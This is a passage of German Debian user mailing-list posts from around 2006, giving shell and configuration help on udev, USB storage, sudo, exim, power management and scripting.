Re: python2.4 und twisted 2.x (incl web) fuer sarge
Hi Christoph, Christoph Kaminski [EMAIL PROTECTED] wrote: Suche dringend die Pkgs: python2.4 + deps twisted 2.x + twisted-web fuer sarge... kennt jemand eine URL wo man es als deb finden kann? (backports und apt-get.org habens nicht) http://packages.debian.org Was genau suchst Du denn? Die obigen konnte ich auf einem Sarge System ohne Probleme z.B. mit 'apt-cache search python2.4' finden. Frank -- Your skill in reading was increased by 1 point. -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Re: Mit Thunderbird auf ListenMails antworten
Hi Mechtilde, Mechtilde [EMAIL PROTECTED] wrote: [thunderbird und reply-to-list] Ein weiterer Tipp war, das es gebe ein ein Theme/Plugin ListReply. Vielleicht kann mir ja jemand mit Links weiterhelfen. Hier findest Du eine Anleitung: http://www.felix-schwarz.name/Wechsel_Mailprogramm Gruß Frank -- If code looks clumsy, it can usually be better written. Clean code is more easily maintainable and modifiable.
Re: feste Device-IDs für USB-Geräte?
Hi Peter, Peter Jordan [EMAIL PROTECTED] wrote: ist es unter debian etch möglich verschiedenen USB-Geräten feste Device-IDs, also sda, sdb, sdc, zuzuweien? Ja, z.B. mit udev Unter [1] gibt es eine gute Anleitung zum erstellen der notwendigen Regeln. Frank [1] http://www.reactivated.net/writing_udev_rules.html -- Elektronik funktioniert mit Rauch. Ist er aus dem Gerät raus, geht nichts mehr.
Re: Mit Thunderbird auf ListenMails antworten
Hi Patrick, Patrick Cornelißen [EMAIL PROTECTED] wrote: Hier findest Du eine Anleitung: http://www.felix-schwarz.name/Wechsel_Mailprogramm Ich seh da keine Anleitung, nur eine Anforderungsbeschreibung. Stimmt. Falscher Link. :-/ Sollte dieser sein (wurde bereits schon gepostet) http://open.nit.ca/wiki/index.php?page=ReplyToListThunderbirdExtension Gruß Frank -- while (!asleep()) sheep++;
Re: Mal wieder USB-Stick
Hi Werner, Werner Mahr [EMAIL PROTECTED] wrote: Am Sonntag, 12. November 2006 18:30 schrieb Christoph Schaman: Als wirds wohl erkannt. Woraus schließt Du, daß kein Device angelegt wird? Zum ersten da kein /dev/sd* existiert, zum anderen, da er auch nie etwas in der Art behauptet hat. Unter: http://www.schokilade.de/doku.php?id=linux:usb-stick steht z.B: bei den Kernelmeldungen: SCSI device sde: 507904 512-byte hdwr sectors (260 MB) sde: assuming Write Enabled sde: assuming drive cache: write through /dev/scsi/host2/bus0/target0/lun0: p1 p2 Attached scsi removable disk sde at scsi2, channel 0, id 0, lun 0 Das fehlt bei mir auch zur gänze. Kann es vllt. sein das Du Sarge (stable) mit einem Kernel 2.6.8 verwendest? In dem Fall müsstest Du auch udev auf eine aktuellere Version bringen. debconf-get-selections 2 /dev/null | \ awk '/^base-config.*mirror\/suite/ {print $4}' uname -r dpkg -l Ansonsten wäre interessant zu wissen was folgendes liefert: lsmod | egrep '^(sd_|scsi|usb)' egrep ^CONF.*_(SCSI|USB|MOD).* /boot/config-`uname -r` Gruß Frank -- Jeder Mensch bereitet uns auf irgend eine Art Vergnügen. Der eine, wenn er ein Zimmer betritt, der andere, wenn er es verlässt.
Re: fstab und samba
Hi Jan, [EMAIL PROTECTED] wrote: Hi, ich will mein Samba sahre via fstab mounten. ###fstab### //192.168.1.5/files1 /home/osadmin/files1 smbfs defaults,uid=osadmin,gid=osadmin,username=nobody,password=,fmask=777,dmask=777 0 0 ###end### Fehler: bash: //192.168.1.5/files1: No such file or directory [...] Hat jemand ne idee was an meinem fstab eintrag nicht passt? Leerzeichen statt TABs zwischen den Einträgen? Frank -- No one ever says, I can't read that ASCII Email you sent me.
Re: Mal wieder USB-Stick
Hi Werner, Werner Mahr [EMAIL PROTECTED] wrote: Am Montag, 13. November 2006 00:27 schrieb Frank Dietrich: Kann es vllt. sein das Du Sarge (stable) mit einem Kernel 2.6.8 verwendest? In dem Fall müsstest Du auch udev auf eine aktuellere Version bringen. Etch mit Kernel 2.6.18.2 Ok. Dann sollte die udev Version passen. dpkg -l Du willst nicht wirklich die ganze Liste, oder? Öhm...ne... sollte dpkg -l udev* sein. Aber das ist nun auch nebensächlich. Ansonsten wäre interessant zu wissen was folgendes liefert: lsmod | egrep '^(sd_|scsi|usb)' garnichts Ok. Ist zum Teil im Kernel fest eingebaut. egrep ^CONF.*_(SCSI|USB|MOD).* /boot/config-`uname -r` Das hier sind die interessanten CONFIG_SCSI=y CONFIG_USB_STORAGE=y Mach bitte nochmal ein grep CONFIG_BLK_DEV_SD /boot/config-`uname -r` (wurde leider beim ersten grep nicht mit erfasst, Denkfehler von mir) Gruß Frank -- Elektronik funktioniert mit Rauch. Ist er aus dem Gerät raus, geht nichts mehr.
usbserial und optionale Parameter
Hi, ich habe 2 Geräte die ich nur nutzen kann, wenn dem Modula beim laden die Vendor und Product ID mit übergeben werden. Also habe ich in der Datei /etc/modprobe.d/usbserial für jedes Geräte eine Zeile angelegt options usbserial vendor=0x1234 product=0x5678 Aber es wird immer nur die erste Zeile ausgewertet. Das ist ein wenig umständlich vor jeder Benutzung die jeweils andere Zeile er auszukommentieren. Manuell, also mittels modprobe auf der Konsole, hab ich schon folgendes versucht: - die Daten für beide Geräte bei einem Aufruf angeben (vereinfacht) vendor=1 product=1 vendor=2 product=2 - das Module ein zweites Mal mittels modprobe und mit den anderen Parametern zu laden Gibt es eine Lösung für dieses Problem (Kernel 2.6.12-10)? Wenn möglich ohne einen anderen Kernel nutzen zu müssen. nette Grüße Frank -- echo [100Q]sy[ of beer]so[la[[[No more]P]sg]sc[n]sgdd0=clgx [ bottle]Pla1!=m]sb[[s]P]sm99sa[lbxloP[ on the wall, ] PlbxloP[.]P10aP[Take one down and pass it around. ]Pla 1-salbxloP[ on the wall.]P10adPPla0=ylfx]dsfxq|dc
Re: Pipe in einer bash
Hi Marco, Marco Estrada Martinez [EMAIL PROTECTED] wrote: habe ein kleines Shellscript in der ich die PID eines Processes ermitteln muß. nun mache ich es irgendwie umständlich mit read ... Ich dachte ungefähr so: ps ax | grep dnsmasq | expr substr RÜCKGABE 10 5 Das hier liefert Dir die (kleinste) PID eines dnsmasq Prozesses. ps ax -o pid,comm | awk '/mrxvt/ {print $1;exit}' Wenn Du diesen Wert in einer Variablen haben willst, folgende Zeilen in Deinem Script mit einbauen. PIDOF=`ps ax -o pid,comm | awk '/dnsmasq/ {print $1;exit}'` echo PID von dnsmasq: $PIDOF Gruß Frank -- Your skill in reading was increased by 1 point.
Re: Pipe in einer bash
Hi Marco, Marco Estrada Martinez [EMAIL PROTECTED] wrote: nein ist ein selbst gebasteltes Start/Stop-Script starte es nicht mit start-stop-daemon. Eine /var/run/dnsmasq.pid wird erstellt. Dazu muss ich aber die PID vorher ermitteln. -- DNSMASQ=`which dnsmasq` $DNSMASQ /dev/null 21 PID=... echo $PID $PIDFILE -- Laut changelog [1] schreibt der dnsmasq seine PID von selbst in /var/run/dnsmasq.pid. Außer Du hast ihm was anderes angegeben (-x, --pid-file). Warum willst Du es ihn nicht selbst erstellen lassen? Frank [1] http://www.thekelleys.org.uk/dnsmasq/CHANGELOG -- Elektronik funktioniert mit Rauch. Ist er aus dem Gerät raus, geht nichts mehr.
Re: [OT] Re: Zensur bei Debian
Hi Thorsten, Thorsten Schmidt [EMAIL PROTECTED] wrote: Am Freitag, 27. Oktober 2006 21:05 schrieb Jochen Schulz: Never ascribe to malice that which can be adequately explained by stupidity. Von wem kommt das? Einfach eine Suchmaschine mit diesem Satz füttern. schönes WE Frank -- Jeder Mensch bereitet uns auf irgend eine Art Vergnügen. Der eine, wenn er ein Zimmer betritt, der andere, wenn er es verlässt.
Re: ASCII Zeichen eingeben
Hi Wolfgang, Wolfgang.friedl [EMAIL PROTECTED] wrote: ich habe hier ein altes Laptop, bei dem ich eine US-Tastatur verwende, aber mit CH-Keyboard Layout schreibe. An und fuer sich halb so wild, allerdings bekomme ich den Backslash nicht. Weiss jemand, wie ich einen Hexcode eingeben kann, wenn ich das Zeichen benoetige? Wie Du ihn eingeben kannst hängt davon ab wo Du ihn eingeben möchtest. In vim könntest Du ihn z.B. so eingeben CTRL-v u 5 c und dann einfach das nächste Zeichen tippen. Ich vermute, dass es 0x005E ist, Der Hexcode für \ ist 5C Gruß Frank --
Re: [OT] Kubuntu vs Debian
Hi Matthias, Matthias Houdek [EMAIL PROTECTED] wrote: Montag, 23. Oktober 2006 14:41 - Bjoern Schliessmann wrote: Dirk Schleicher wrote: [Ubuntus sudo/root-Spielchen] Hast du dir mal die /etc/sudoers angesehen? Da kann man diese Ubuntu-Eigenheit schnell und transparent abstellen. *ARGH* Das ist aber gefährlich, wenn man vorher kein Passwort für root vergeben hat. Dann kommt man IMHO nur noch über ein Live-CD-System o.ä. wieder mit root-Rechten an das System. *g* Beim Bootloader init=/bin/sh angeben wird sicher funktionieren. Gruß Frank -- the most frequently asked question: http://www.guidoz.com/tryhere.jpg
Re: [OT] Kubuntu vs Debian
Hi Matthias, Matthias Houdek [EMAIL PROTECTED] wrote: Unter XP-Home hat der 'Admin' zwar auch kein Passwort, aber er kann sich so ohne Passwort anmelden. Das ist ein gewaltiger Unterschied. Eben. Funktioniert dann runas ... auch ohne Passwort? Frank -- Ist das jetzt ein Klischee, daß überall auf der Welt erfolgreiche Nerd-Programmierer in ihrem stillen Kämmerchen sitzen und sich alles völlig allein aus irgendwelchen Handbüchern beibringen?
Re: [OT] Regionalcode einer DVD ermitteln?
Hi Peter, Peter Jordan [EMAIL PROTECTED] wrote: Peter Jordan, 10/15/2006 11:30 AM: wie kann ich unter debian den Regionalcode einer DVD ermitteln, Den kannst Du aus der Datei VIDEO_TS.IFO auslesen [1]. http://forum.doom9.org/showthread.php?t=36111#post197286 Frank -- 21 is only half the truth -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Re: Rechteproblem nach jedem reboot mit /dev/sg0
Hi Andreas, Andreas B. [EMAIL PROTECTED] wrote: Nach jedem reboot meiner debian/etch-box habe ich auf sg0 folgende Rechte: crw-rw 1 root root 21, 0 2006-10-14 12:39 /dev/sg0 Das gibt als User beim Brennen natürlich Probleme. Wer setzt jedesmal die Rechte um? udev Wie kann die Gruppenberechtigung fest auf group 'cdrom' gesetzt werden, so dass das auch nach dem reboot weiterhin stimmt. Eigentlich sollte der Eintrag BUS==scsi, SYSFS{type}==5, GROUP=cdrom in /etc/udev/permissions.rules das standardmäßig tun. Wenn nicht dann probiere es mal zusätzlich mit diesem KERNEL==sg0, GROUP=cdrom Der User muss dann auch in der Gruppe cdrom angehören. nette Grüße Frank -- No one ever says, I can't read that ASCII Email you sent me.
Bluetooth Dongle + Headset
Hallo an euch, ich möchte mir gern ein BT Headset zulegen das ich sowohl für's Mobiltelefon als auch für VoIP nutzen kann. Auf [1] und [2] werden zumindest diverse Headset genannt die unter Linux unterstützt werden. Die Listen scheinen aber schon älter zu sein. Jedenfalls sind einige der genannten Modelle neu nicht mehr zu bekommen. Folgende Fragen sind noch offen: - Worauf sollte ich beim Kauf von Dongle und Headset achten? - Lässt sich der selbe Dongle auch für die Kommunikation Notebook - Telefon verwenden? - Wer hat sowas unter Debian im Einsatz und würde seine Erfahrungen mitteilen? Dazu hab ich unter [3] schon eine Ansatz gefunden. Danke Frank PS: Von Bluetooth hab ich bisher keine Ahnung. [1] http://bluetooth-alsa.sourceforge.net/ [2] http://www.gentoo-wiki.com/HOWTO_use_a_bluetooth_headset [3] http://www.debianforum.de/forum/viewtopic.php?t=38105 -- Your skill in reading was increased by 1 point.
Re: cpuinfo liefert falsche Werte
Hallo Karlheinz, karlheinz Welker [EMAIL PROTECTED] wrote: schrieb karlheinz Welker [EMAIL PROTECTED]: Kann es sein, das Du sowas wie powersaved oder so laufen hast? Dann ist Dein Prozessor evtl. wegen geringer Systemlast gerade im Stromsparmodus. Habe den Übeltäter gefunden. powernowd hat mir die CPU von 1800 Mhz auf 800Mhz gedrosselt. Wieso Übeltäter? Der drosselt doch nur, wenn die CPU nichts zu tun hat. Und wenn die CPU grad nichts zu tun hat, dann ist es doch besser sie dümpelt mit 800 statt mit 1800 MHz vor sich hin. Wenn Du einen geregelten CPU Lüfter hast, sollte der sich dann hörbar langsamer drehen. mit Gruß Frank -- If it doesn't work, force it. If it breaks, it needed replacing anyway.
Re: rc aus dpkg -l entfernen
Hi Sandro, Sandro Frenzel [EMAIL PROTECTED] wrote: Am Montag 02 Oktober 2006 16:15 schrieb Sandro Frenzel: Vor ca. einer Wocher war hier eine Diskussion darüber, dass aptitude beim entfernen keine config Dateien mitlöscht. Leider finde ich den entsprechende Thread nicht mehr wo [...] 2. Ein Einzeiler, der die rc Pakete aus dpkg löscht Und dafür weiß keiner Rat? dpkg --purge `dpkg --get-selections | awk '/deinstall/ {print $1}'` Gruß Frank -- Jeder Mensch bereitet uns auf irgend eine Art Vergnügen. Der eine, wenn er ein Zimmer betritt, der andere, wenn er es verlässt.
Re: Frage(n) zu einem Skript
Hi Frank, Frank Blendinger [EMAIL PROTECTED] wrote: On Tue, Sep 26, 2006 at 05:23:47PM +0200, Peter Jordan wrote: Gibt es vielleicht ne Möglichkeit, die MAC-Adresse eines Rechners abzufragen? Sicher nicht narrensicher, aber mal quick 'n dirty: ping -c1 $HOST /dev/null ; arp -a $HOST | sed 's/^.* at //' | cut -d -f 1 sed gleich alles machen lassen ping -c1 $HOST /dev/null ; arp -a $HOST | sed -n 's/.*at \(.*\) \[.*/\1/p' oder (wenn möglich) arping verwenden arping -c 1 -T 192.168.42.42 ff:ff:ff:ff:ff:ff Frank -- There's a life beyond the CPU.
Re: wie ermitteln ob /dev/tty beschrieben werden kann
Hi Martin, Martin Schulze [EMAIL PROTECTED] wrote: Starte ich das Script per 'at', dann beschwert sich 'tee' über ein nicht vorhandenes Gerät /dev/tty. Allerdings zeigt ein 'ls -l /dev/tty' innerhalb des Script das diese Datei vorhanden ist. Mit welchen Berechtigungen? Folgendes als at Job gestartet --- start #!/bin/sh LOG=/tmp/testmoi.log exec $LOG 21 id | cut -d -f -2 ls -l /dev/tty --- end -- liefert im log file uid=1000(frank) gid=1000(frank) crw-rw-rw- 1 root root 5, 0 2006-10-01 10:28 /dev/tty Generell gilt, daß /dev/tty jeweils dem aktuellen Terminal zugeordnet wird. Das ist natürlich nur bei interaktivem Betrieb der Fall. Einem Cronjob oder Atjob ist in der Regel kein Terminal zugewiesen. Das ist mir ja auch schon klar. ;-) Deshalb such ich ja nach einem Weg herauszufinden ob hinter /dev/tty auch ein Terminal hängt. Gib es eine bessere Lösung als folgendes vor dem 'exec ...'? set +e echo /dev/tty if [ $? -eq 0 ] then # kann auf /dev/tty ausgeben else # kann nicht auf /dev/tty ausgeben fi set -e Was bewirkt set +e/-e in dem Fall? Ich konnte keine Änderung feststellen. Bekomme damit weiterhin die Ausgabe /dev/tty: No such device or address ins log file. man ksh hat mich da auch nicht schlauer gemacht -e If a command has a non-zero exit status, execute the ERR trap, if set, and exit. This mode is disabled while reading profiles. Wenn Du statt [ test verwendest, ist es von der Shell unabhängig, da /usr/bin/test verwendet wird. Ich dachte die Benutzung wäre gleich. Weil auch die man pages sich nicht unterscheiden. Frank -- Jeder Mensch bereitet uns auf irgend eine Art Vergnügen. Der eine, wenn er ein Zimmer betritt, der andere, wenn er es verlässt.
[solved] wie ermitteln ob /dev/tty beschrieben werden kann
Hallo Jörg und Martin, Jörg Sommer [EMAIL PROTECTED] wrote: Martin Schulze [EMAIL PROTECTED] wrote: Ja, gibt es, zumindest in Bash: … und auch in allen anderen Posix‐kompatiblen Shells. if [ -t 1 ] then # Terminal vorhanden else # Kein Terminal vorhanden fi Wenn möglich sollte die Lösung unabhängig von der verwendeten Shell funktionieren. Habe es nun so gelöst. --- testmoi.sh --- #!/bin/dash if [ -t 1 ] then TEEDEV=/dev/tty else TEEDEV=/dev/null fi LOG=/tmp/logfile.log exec $LOG 21 echo Ausgabe eines Programmes | tee $TEEDEV echo TEEDEV $TEEDEV --- testmoi.sh --- Das funktioniert wie erhofft. Danke Frank -- echo [100Q]sy[ of beer]so[la[[[No more]P]sg]sc[n]sgdd0=clgx [ bottle]Pla1!=m]sb[[s]P]sm99sa[lbxloP[ on the wall, ] PlbxloP[.]P10aP[Take one down and pass it around. ]Pla 1-salbxloP[ on the wall.]P10adPPla0=ylfx]dsfxq|dc
Re: Debian Sarge Tomcat, JDK 1.5 und baseCMP
Hallo Stefan, [EMAIL PROTECTED] wrote: ich versuche nun schon seit Tagen auf Debian Sarge einen Tomcat Server 5.5 mit JDK 1.5 und dem Content Management System baseCMP (http://www.basecmp.de) zu installieren. Allerdings ohne großen Erfolg. Den Tomcat kann ich noch starten und administrieren, die Installation scheint also geglückt zu sein. Aber irgendwie will basecmp nicht wirklich starten, sondern bricht immer mit einer Fehlermeldung ab. Um zu antworten wären folgende Informationen sehr hilfreich: - wie wurden Tomcat und Java installiert (sind beide in der angegebenen Version nicht als Debian Paket in Sarge) - welche Fehlermeldung bekommst Du genau Gruß Frank -- Pls wrt in prpr englsh so we cn undrstnd wht ur tlkng abt.
Re: Datendurchsatz testen
Hi Klaus, Klaus Becker [EMAIL PROTECTED] wrote: ich habe mir einen Kama-Connect zugelegt (siehe http://www.hartware.de/review_616_1.html) und möchte den Datendurchsatz testen, indem ich ca 50 GB auf eine FP kopiere, die daran angeschlossen ist. Wie kann ich nach der Kopie die Zeit feststellen, die dafür benötigt wurde? time kopier_kommando Wenn es sich um mehrere Kommandos handelt, diese in ein Shellscript schreiben und das Script dann mit time script_name starten. Frank -- A: Because it breaks the logical sequence of discussion Q: Why is top posting bad?
wie ermitteln ob /dev/tty beschrieben werden kann
Hallo an euch, wie kann ich auf einfachem Weg feststellen ob ein Prozess etwas auf einer Konsole ausgeben kann? Nutze ein Skript in der Art. --- testmoi.sh --- #!/bin/sh # stdout und stderr in Datei umleiten exec /tmp/logfile 21 # alle Ausgaben auch auf der Konsole anzeigen echo Ausgabe eines Programmes | tee /dev/tty # ... hier folgen weitere Programmaufrufe --- testmoi.sh --- Starte ich das Script aus einem Terminal, dann sehe ich auch alle Ausgaben. Starte ich das Script per 'at', dann beschwert sich 'tee' über ein nicht vorhandenes Gerät /dev/tty. Allerdings zeigt ein 'ls -l /dev/tty' innerhalb des Script das diese Datei vorhanden ist. Gib es eine bessere Lösung als folgendes vor dem 'exec ...'? ... echo /dev/tty if [ $? -eq 0 ] then # kann auf /dev/tty ausgeben else # kann nicht auf /dev/tty ausgeben fi ... Wenn möglich sollte die Lösung unabhängig von der verwendeten Shell funktionieren. schönes Wochenende Frank -- # to resolve all your problems, try this HOWTO='$i=pack(c5,(41*2),sqrt(7056),(unpack(c,H)-2),oct(115),10);' perl -e 'print '$HOWTO
Re: Hardware oder Software Problem? (xine decoding mpeg2)
Hallo Harald, Harald Gutmann [EMAIL PROTECTED] wrote: ich habe hier einen älteren rechner, mit einem p3 866, 256mb ram und einer geforce riva tnt2 32mb. nun habe ich dort ein debian etch installiert, die treiber für die grafikkarte (nvidia-kernel-legacy-source) sind allerdings aus sid. das problem dabei ist, dass ich es nicht schaffe, auf dem rechner eine DVD ruckelfrei abzuspielen, auch schafft es xine nicht, einen dvb-s stream ruckelfrei darzustellen. Für das Problem mit der DVD kannst Du ja mal mit hdparm die DMA Einstellungen des Laufwerks prüfen und umstellen. In manchen Kombinationen Motherboard + DVD-Laufwerk soll es auch helfen DMA zu aktivieren. Gruß Frank -- Jeder Mensch bereitet uns auf irgend eine Art Vergnügen. Der eine, wenn er ein Zimmer betritt, der andere, wenn er es verlässt.
Re: sudo-ing: Kommando ausführen klappt nicht
Hi Christoph, Christoph Conrad [EMAIL PROTECTED] wrote: Ich habe nun die folgend zweite Zeile hinzugefügt, das klappt. cc ALL=NOPASSWD: ALL Ist das nicht riskant? Du erlaubst damit cc auf allen Maschinen, alles ohne Passwort auszuführen. cc ALL=(cc) /usr/local/bin/emacsclient Das sollte reichen um cc die Ausführung von emacsclient als cc auf allen Maschinen zu erlauben. Frank -- while (!asleep()) sheep++;
Re: Frage zu grep
Hi Boris, Boris Andratzek [EMAIL PROTECTED] wrote: Man fragt ja gerne 'mal die Prozessliste ab und selektiert die Ausgabe mittels grep, z.B.: linux-srv:/bin# ps w | grep picsscale Dabei bekomme ich manchmal eine leere Ausgabe (= Prozess läuft nicht), aber manchmal eben auch den grep-Prozess selbst: 6241 pts/0R+ 0:00 grep picsscale Das ist naklar nicht die Antwort, die ich suche, denn ich möchte (z.B. in einem Shell-Script) ermitteln, ob der picscale-Prozess läuft oder nicht. Das fällt aber schwer, wenn die Ausgabe nicht konstant ist! Wie löst man dieses Problemchen? Eine Möglichkeit wäre z.B. sed statt grep zu verwenden*: # Zeilen die grep enthalten werden gelöscht # Zeilen die picscale enthalten werden ausgegeben # der Rest wird nicht ausgegeben ps w | sed -n '/grep/d;/picscale/p' Frank -- Um ein einwandfreies Mitglied einer Schafherde zu sein, empfiehlt es sich entweder ein Schaf zu sein, und wenn nicht, dann sollte man wenigstens gut bellen können.
Re: sudo-ing: Kommando ausführen klappt nicht
Hi Christoph, Christoph Conrad [EMAIL PROTECTED] wrote: Hallo Simon, cc ALL=NOPASSWD: ALL Stehe ich auf dem Schlauch? Heißt das nicht schon, dass der Benutzer cc auf allen Rechner ohne Passwort alle Programme mit sudo ausführen darf? Habe ich auch gedacht. Reicht aber nicht alleine - das WAR meine Einstellung. Vielleicht liegt es daran, das cc die dann mit root Rechten ausführt. cc ALL=(cc) /usr/local/bin/emacsclient Für was braucht es dann noch diese Zeile? Damit es funktioniert. Damit führt cc es als cc aus. (Wobei ich immer noch den Sinn nicht verstehe.) Wenn cc am Rechner angemeldet ist, wozu muss er dann mittels sudo das Programm mit seinen (cc) Rechten starten? Würde es nicht reichen es einfach so zu starten? Frank -- If it ain't broken, don't fix it!
automtische Konfiguration von LAN, WLAN und UMTS
Hallo an euch, ich möchte gern das LAN, WLAN und UMTS je nach Fall sich automatisch konfigurieren, ohne das ich was von Hand einstellen muss. Die Hardware funktioniert unter Debian Sarge. LAN : - wird an verschiedenen Orten benutzt und derzeit mit laptop-netconf eingerichtet - für die bekannten Netze gibt es eine Konfiguration + eine mit DHCP für unbekannte Netze - das funktioniert ohne Eingriff Wunsch wäre - das es nur konfiguriert wird wenn ein Kabel gesteckt ist WLAN: - wird an verschiedenen Orten benutzt, zur Konfiguration wird die laptop-netconf mit verwendet, wobei ich die je nach Ort dann austausche und das Netzwerk neu starte (auf die Dauer doch etwas lästig) UMTS: - ist neu dazu gekommen und funktioniert soweit - alledrings nur, wenn LAN nicht konfiguriert ist oder nach manuellem Eingriff nächster Punkt ist kein Muss wäre aber wünschenswert - das soll dann wahlweise allein oder in Kombination mit LAN funktionieren, wobei es nicht notwendig ist, das LAN darüber ins Internet kommt Für die Konfiguration von LAN, abhängig ob Kabel steckt oder nicht, hab ich mein Glück schon mit ifplugd versucht. Mit dem Erfolg das laptop-netconf dann nicht mehr richtig funktioniert hat. Wäre obiges mit guessnet zu lösen? Möchte mir ungern meine bisher (wenn auch nich perfekten, jedoch) nutzbare Konfigurationen zerbröseln. Oder welche(s) Paket(e) sollte ich mir dazu mal anschauen? Danke für eure Tipps. Grüße Frank -- There's a life beyond the CPU.
Re: automtische Konfiguration von LAN, WLAN und UMTS
Hallo Jan, Jan Hauke Rahm [EMAIL PROTECTED] wrote: ich möchte gern das LAN, WLAN und UMTS je nach Fall sich automatisch konfigurieren, ohne das ich was von Hand einstellen muss. Vielleicht ist das ein guter Gedankenanstoß: http://www.matthias-deege.de/howto/guessnet_ubuntu.html Danke für den Link. Hab mir das eben durchgelesen und denke das es sich damit lösen lassen sollte. Probieren kann ich das leider erst am Wochenende. Dann hab ich nämlich wieder ein LAN + Internet.* Grüße Frank * Will mich nicht durch Fehlkonfiguration aussperren. ;-) -- If it doesn't work, force it. If it breaks, it needed replacing anyway.
Re: lokale Mails mit exim intern weiterleiten
Hallo Stefan, Stefan Bauer [EMAIL PROTECTED] wrote: Da ich von exim4 bisher wirklich keine Ahnung habe, hilft mir das nur bedingt. Jedenfalls muss ich den einen exim erstmal so konfigurieren das er außer den Mail von localhost überhaupt was annimmt. Werd mich also erstmal darum kümmern. dpkg-reconfigure exim4-config Danke. Damit geht das nun. Frank -- while (!asleep()) sheep++;
Re: suspend to disk?
Hallo Alexander, Alexander Fieroch [EMAIL PROTECTED] wrote: wenn auf hda5 der swap liegt, bootet neu, und suspendet mit 'echo disk /sys/power/state' Auch das funktioniert bei mir nicht: [EMAIL PROTECTED]:/etc/hibernate# echo disk /sys/power/state bash: echo: write error: Das Argument ist ungültig [EMAIL PROTECTED]:/etc/hibernate# ll /sys/power/state -rw-r--r-- 1 root root 0 2006-08-31 00:47 /sys/power/state Schau erstmal was von Deinem Rechner unterstützt wird. cat /sys/power/state Frank -- Programming today is a race between software engineers striving to build bigger and better idiot-proof programs, and the Universe trying to produce bigger and better idiots. So far, the Universe is winning.
Re: lokale Mails mit exim intern weiterleiten
Hi Stefan, Stefan Bauer [EMAIL PROTECTED] wrote: Ich möchte gern das der Exim vom Desktop PC die Mails an meinen lokalen User auf dem Notebook weiterleitet (wenn möglich ohne die Mails durchs Internet zu schicken). wie wärs mit nem Alias-Eintrag ala root: [EMAIL PROTECTED] und in /etc/hosts 192.168.0.23 fbi.gov fbi Da ich von exim4 bisher wirklich keine Ahnung habe, hilft mir das nur bedingt. Jedenfalls muss ich den einen exim erstmal so konfigurieren das er außer den Mail von localhost überhaupt was annimmt. Werd mich also erstmal darum kümmern. Danke Frank -- # to resolve all your problems, try this HOWTO='$i=pack(c5,(41*2),sqrt(7056),(unpack(c,H)-2),oct(115),10);' perl -e 'print '$HOWTO
Re: suspend to disk?
Hi Alexander, Alexander Fieroch [EMAIL PROTECTED] wrote: Frank Dietrich wrote: Schau erstmal was von Deinem Rechner unterstützt wird. cat /sys/power/state # cat /sys/power/state standby mem Hm, anscheinend wird disk nicht unterstützt. Hatte ich fast vermutet. ;-) Wenn ich auf dem selben System ubuntu boote, habe ich standby, mem und disk zur Verfügung. Was kann mir da fehlen? Mir würde nur folgendes einfallen: - unterschiedliche Kernel uname -r - unterschiedliche Kernelkonfiguration die Ausgaben mal vergleichen egrep ^[^#].*(ACPI|APM|SUSPEND) /boot/config-`uname -r` Frank -- Jeder Mensch bereitet uns auf irgend eine Art Vergnügen. Der eine, wenn er ein Zimmer betritt, der andere, wenn er es verlässt.
lokale Mails mit exim intern weiterleiten
Hallo an euch, ich möchte gern lokale Mails eines Rechners an den Exim eines anderen Rechners weiterleiten. Folgendes ist vorhanden (beides mal mit Sarge): Notebook - exim, leitet Systemmails für root an einen lokalen User auf dem Notebook weiter Desktop PC - exim, leitet Systemmails für root an einen lokalen User auf dem Desktop PC weiter Ich möchte gern das der Exim vom Desktop PC die Mails an meinen lokalen User auf dem Notebook weiterleitet (wenn möglich ohne die Mails durchs Internet zu schicken). Falls es von Bedeutung ist. Der Desktop ist nie angeschaltet, wenn das Notebook nicht auch im LAN ist. Nach welchen Stichworten sollte ich in der exim-doc suchen? Oder hat jemand einen Link zu einer Einsteiger tauglichen Exim HOWTO? Bei den bisher gefundenen Anleitungen [1,2] bin ich bei den vielen Möglichkeiten des Exim einfach überfordert das zu finden was für meinen Fall passen würde. netten Gruß Frank [1] http://www.debianhowto.de/howto-archiv/en/exim4/index.html [2] http://devel.reinikainen.net/docs/how-to/Exim/ -- Programming today is a race between software engineers striving to build bigger and better idiot-proof programs, and the Universe trying to produce bigger and better idiots. So far, the Universe is winning.
Re: bash: arrays in for-schleifen.
Hi Martin, bootlog [EMAIL PROTECTED] wrote: ich habe ein immer wiederkehrendes Problem mit Skripten. Es geht um folgende art Schleife (auf das Wesentliche beschränkt): /for infile in `ls ${1}`/ Eine andere Möglichkeit wäre Deine Aufgabe mittels find zu lösen. Dort könntest Du -print0 hernehmen und hättest etwas weniger Ärger mit Leer- und Sonderzeichen. Nun kommt es schonmal vor das Dateinamen Leerzeichen enthalten. Wie bekomme ich es hin, dass $infile statt der einzelnen Wörter, ganze Zeilen (Dateinamen) zugewiesen bekommt? ls mit Option -1 verwenden und das ganze dann mit read einlesen. Dann bekommst Du aber Probleme, wenn ein Dateiname mal ein Zeilenendezeichen enthalten sollte. Gruß Frank -- echo '23dd4-+dn10-P18+d4+d14+PPP[]pq'|dc
Re: PCMCIA-Controller wird nicht gefunden
Hi Lars, Lars Thielecke [EMAIL PROTECTED] wrote: Alexander Syring schrieb: Am Dienstag, 29. August 2006 12:34 schrieb Lars Thielecke: Nun läuft auch alles, bis auf den PCMCIA-Adapter. Das Infocenter teilt mir mit: Kein Controller gefunden, die WLAN-Karte, die ich in den Slot eingesetzt habe, blinkt auch nur sporadisch. Hat jemand eine Idee, wie ich dem Rechner mitteilen kann, dass doch ein Controller vorhanden ist? - Um welches Notebook handelt es sich? - Was sagt lspci? - Welcher Kernel? Es handelt sich um ein X30 Thinkpad von IBM. Kernel ist 2.6.16-2 auf einer i686-Maschine. lspci gibt folgendes zurück: 01:00.0 CardBus bridge: Ricoh Co Ltd RL5c476 II (rev a8) 01:00.1 CardBus bridge: Ricoh Co Ltd RL5c476 II (rev a8) Eventuell bietet Dein Kernel keine Unterstützung für diesen Controller. Schau mal was bei Deinem Kernel aktiviert ist. egrep ^CONF.*(PCCARD|PCMCIA|CARDBUS) /boot/config-`uname -r` Der Controller müsste vom Modul yenta_socket unterstützt werden. Gruß Frank -- echo 